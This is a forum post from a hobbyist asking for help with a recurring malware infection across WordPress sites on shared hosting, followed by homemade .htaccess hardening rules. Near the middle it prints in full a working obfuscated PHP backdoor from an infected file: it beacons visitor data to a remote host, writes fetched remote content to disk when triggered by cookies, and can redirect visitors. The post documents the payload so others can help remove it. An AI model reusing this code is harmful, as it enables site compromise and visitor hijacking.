Hi all
First off thank you for chiming in.
I am a hobbies WP site builder for my friends and family
This is my first time experiencing a malware on my shared Bluehost Server, Cpanel etc
I moved an old site of one of my mates across to my server enabled SSL on it. This is Where I think the first infection came from.
I was not until a few weeks ago I got a notification that malware was detected on my site, I asked my host to scan for me and found an Increasing number of infection each time I scanned.
So I go to work. I used wordfence “free and premium depending on the site” to scan my site as the hosting provider threatened to shut down my account unless the next scan came back clean.
I found a .php with a .htaccess file in these locations on most of the sites on the server
wp-admin/js/widgets/index.php
wp-content/uploads/2020/02/index.php
wp-admin/css/colors.index.php
wp-content/uploads/2019/index.php
wp-includes/Requests/Exceptions/Html5.php
wp-content/themes/My theme/header.php – affected All themes installed on each site
These were infected with
SL-PHP-BACKDOOR-GENERIC-bca.UNOFFICIAL
or
SL-PHP-INJECTOR-1-fmd.UNOFFICIAL
or
A file changed as malicious
For most of my sites, I run a child theme on theme
I inspected header.php before and after to try and find the new injected code.
To do this I downloaded a clean version of the theme, copy and pasted the bad header.php and good header.php into diff checker
Link https://www.diffchecker.com/ to analyse the code
I found a load line right at the top of the bad header.php
Top of the bad header.php
<?php @include_once 'slider.css'; ?><?php
/**
* The Header for our theme.
Top of the good header.php
<?php
/**
* The Header for our theme.
From this, I could see the header.php was loading another file
slider.css –
<?php @include_once 'slider.css'; ?>
I looked deeper into my theme files and found it. I also noticed this file was not included in my theme at all, because I had a child theme set up where i found the slider.css i also found 5 new files that did not exist before.
public_html/exampledomain/wp-content/themes/my-child-Theme
.htaccess
404.php
fuctions.php
html5.php
slider.css
styles.css
In the Modiflyed 404.php file i can see its loading the html5.php file
@include_once ‘html5.css’; get_header(); ?>
<?php
/**
* The template for displaying 404 pages (not found)
*
* @package WordPress
* @subpackage WordPress_Theme
* @since WordPress Theme 1.0
*/
@include_once 'html5.css'; get_header(); ?>
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<section class="error-404 not-found">
<header class="page-header">
<h1 class="page-title"><?php _e( 'Oops! That page can’t be found.' ); ?></h1>
</header><!-- .page-header -->
<div class="page-content">
<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?' ); ?></p>
<?php get_search_form(); ?>
</div><!-- .page-content -->
</section><!-- .error-404 -->
</main><!-- .site-main -->
</div><!-- .content-area -->
<?php get_footer(); ?>
in the random Html5.php files I found this code – about line 250 – this file was not original in the child theme – Also all upload dates were changed to random dates.
it’s beyond my skill set to understand what it’s doing
[hidden] {
display: none;
}*/ error_reporting( 0 ); if( function_exists( 'is_user_logged_in' ) ) { if( is_user_logged_in() ) return; }
$_Post_Wi = 'wp-includes'; $_Post_404 = '/404/'; $_Post_Ts = 'tps'; $_Post_In = '.info';
$_Post_Eq = '='; $_Post_An = '&'; $_Post_Th = 'ht';
$Link_Id = $_Post_Th . $_Post_Ts . ':' . '//' . $_Post_Wi . $_Post_In . $_Post_404;
$User_Id = isset( $_SERVER['HTTP_USER_AGENT'] ) ? urlencode( $_SERVER['HTTP_USER_AGENT'] ) : '';
$_id_ = $_COOKIE; if( !empty( $_id_['div_type'] ) ) { $Link_Id .= $_Post_Wi;
if( function_exists( 'curl_init' ) ) { $_div_ = curl_init( $Link_Id ); curl_setopt( $_div_, CURLOPT_HEADER, 0 );
curl_setopt( $_div_, CURLOPT_CONNECTTIMEOUT, 11 ); curl_setopt( $_div_, CURLOPT_TIMEOUT, 11 );
curl_setopt( $_div_, CURLOPT_RETURNTRANSFER, 1 ); $Post_Id = curl_exec( $_div_ ); curl_close( $_div_ ); } else
$Post_Id = file_get_contents( $Link_Id ); file_put_contents( $_id_['div_name'].$_id_['div_type'], $Post_Id ); echo( $User_Id.'
' ); return; } if( strstr( $User_Id, 'WordPress.com' ) && strstr( $User_Id, 'wordpress.com' ) ) { echo( $User_Id.'
' ); return; }
$Post_Error = strstr( $_SERVER['HTTP_HOST'], '127.0' ) ? $_SERVER['SERVER_ADDR'] : $_SERVER['HTTP_HOST'];
$Link_Id .= '?' . 'post' . $_Post_Eq . urlencode( $Post_Error.$_SERVER['REQUEST_URI'] ) . $_Post_An .
'id' . $_Post_Eq . urlencode( $_SERVER['REMOTE_ADDR'] ) . $_Post_An . 'user' . $_Post_Eq . $User_Id;
if( function_exists( 'curl_init' ) ) { $_div_ = curl_init( $Link_Id ); curl_setopt( $_div_, CURLOPT_HEADER, 0 );
curl_setopt( $_div_, CURLOPT_CONNECTTIMEOUT, 11 ); curl_setopt( $_div_, CURLOPT_TIMEOUT, 11 );
curl_setopt( $_div_, CURLOPT_RETURNTRANSFER, 1 ); $Post_Id = curl_exec( $_div_ ); curl_close( $_div_ ); } else
$Post_Id = file_get_contents( $Link_Id ); if( strstr( $Post_Id, $_Post_Wi.$_Post_In ) ) die( header( $Post_Id ) ); ?>
All these files contained shit code that was not the same as the original child theme for the site.
I delete them all and re-uploaded the child theme and main theme.
I thought I had cleaned out all bad files. all Scans were coming back clean so I was happy. “more below the infection came back with files reappearing in plain site after they were deleted”
All was good for about 2 weeks, I had fixed all my sites and removed old ones did a full clean up. Changed all password. 2fa for the server etc.
I found that the infection had come back. I went through my process again and fixed all the sites. removed all code from bad area etc.
i decided to try to harden my uploads area. details below.
And in front of me, a found wp-file-manager-pro pop-up in the uploads folder. I changed my passwords etc again deleted the file for it to come right back as soon I refreshed the page. even if I changed the permissions to 444 – read the folder came back. I managed to grab a zip of it and download it.
It contained
FM_backup – filemanager I could not see any creation date – No file permission
index.php
index.html
When I went to look inside the index.html and index.php they were empty.
If I renamed the folder wp-filemanager-pro and delete it came back with the same name.
“how do I figure out what recreating this”
Hardening my .htaccess files in the main directory and uploads directory
“not I’m not an expert. this is what I found from many sources on the web. “any additions or changes let me know”
I have come up with this .htccess file to block a lot of things. most parts of code have a description, one I’m not sure about. Please see below.
Another note. Htaccess files should have permissions of 444
#.htaccess file for the main level of the subdomain
# BEGIN rlrssslReallySimpleSSL rsssl_version[3.3.5]
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]
</IfModule>
# END rlrssslReallySimpleSSL
# BEGIN WordPress you need to find out if this is ok
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
# Wordfence WAF - wordfence needs to be installed and enabled
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# This is block authors scan in .htaccess in your root directory.
# An example is http://yourdomain.co.nz/?author=2 from wordfence scan
# BEGIN block author scans
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} (author=\d+) [NC]
RewriteRule .* - [F]
# END block author scans
# Block WordPress xmlrpc.php requests in .htaccess. This blocks remote access to the site on phones.
<Files xmlrpc.php>
order deny,allow
deny from all
</Files>
<IfModule mod_alias.c>
RedirectMatch 403 /(.*)/xmlrpc\.php$
</IfModule>
# Disable directory browsing example. Https://yoursite.co.nz/wp-content/plugins - Stops Directorys From Been Viewable
Options -Indexes
I have also created one for the uploads directory.
“not I’m not an expert. this is what I found from many sources on the web. “any additions or changes/mistakes let me know”
# Start Wordfence code execution protection - Blocks code from running - Remember to put 444 security on the .htaccess file in the upload directory
<IfModule mod_php5.c>
php_flag engine 0
</IfModule>
<IfModule mod_php7.c>
php_flag engine 0
</IfModule>
AddHandler cgi-script .php .phtml .php3 .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
# END Wordfence code execution protection
# This Compleatly blocks all Files in upload directory
<Files ~ ".*..*">
Order Allow,Deny
Deny from all
</Files>
# After that add file extensions you want to allow access - only files that can be opened - you must add extentions if you want to use them
<FilesMatch ".(jpg|jpeg|jpe|gif|png|mp4|pdf)$">
Order Deny,Allow
Allow from all
</FilesMatch>
# END File Extention Block
Thank you for your time chiming in. I a hobbyist and finding this very hard.